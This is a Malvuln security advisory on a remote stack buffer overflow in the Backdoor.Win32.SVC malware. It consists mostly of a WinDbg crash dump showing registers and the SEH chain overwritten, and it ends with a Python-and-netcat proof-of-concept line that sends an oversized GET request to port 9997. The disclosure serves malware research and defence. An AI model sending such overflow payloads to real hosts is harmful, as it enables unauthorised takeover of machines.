Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/011961a42700e7385a106d362eb661c7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SVC
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 9997. Third-party attackers who can reach an infected system can make an specially crafted HTTP GET request to trigger a classic stack buffer overflow overwriting ECX, EIP registers and structured exception handler (SEH).
Type: PE32
MD5: 011961a42700e7385a106d362eb661c7
Vuln ID: MVID-2022-0446
ASLR: False 
DEP: False
Safe SEH: False
Disclosure: 01/05/2022

Memory Dump:
(31c.1e64): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1580 ebp=000a15a0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1580 ebp=000a15a0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe

FAULTING_IP: 
Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+141e
0040141e f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD:  0019f360 -- (.exr 0x19f360)
ExceptionAddress: 0040141e (Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+0x0000141e)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME:  Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
mswsock!WSPAccept+0
71c8c1b0 68ec010000      push    1ECh

FAILED_INSTRUCTION_ADDRESS: 
+0
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019f3b0 -- (.cxr 0x19f3b0)
eax=000007fc ebx=00000000 ecx=00000089 edx=0019fa28 esi=004050ac edi=001a0000
eip=0040141e esp=0019f810 ebp=007c06fe iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+0x141e:
0040141e f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 773a13ee to 0040141e

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

STACK_TEXT:  
0019f810 0040141e backdoor_win32_svc+0x141e
0019f850 773a13ee ntdll!RtlAllocateHeap+0x3e
0019f89c 71c8cf6d mswsock!WSPAccept+0xdbd
0019fabc 41414141 unknown!printable+0x0

0019ff8c 41414141 unknown!printable+0x0
0019ff90 41414141 unknown!p

SYMBOL_NAME:  mswsock!WSPAccept+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: mswsock

IMAGE_NAME:  mswsock.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  .cxr 000000000019F3B0 ; kb ; dds 19f810 ; kb

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_mswsock.dll!WSPAccept

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mswsock!WSPAccept+0

Followup: MachineOwner
---------

0:000> !exchain
000a1594: ntdll!ExecuteHandler2+44 (773e9d70)
000a1b44: ntdll!ExecuteHandler2+44 (773e9d70)
...
0019fc74: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
python -c "print('GET /'+'A'*5173+' HTTP/1.1\r\n\r\n')" | nc64.exe x.x.x.x 9997


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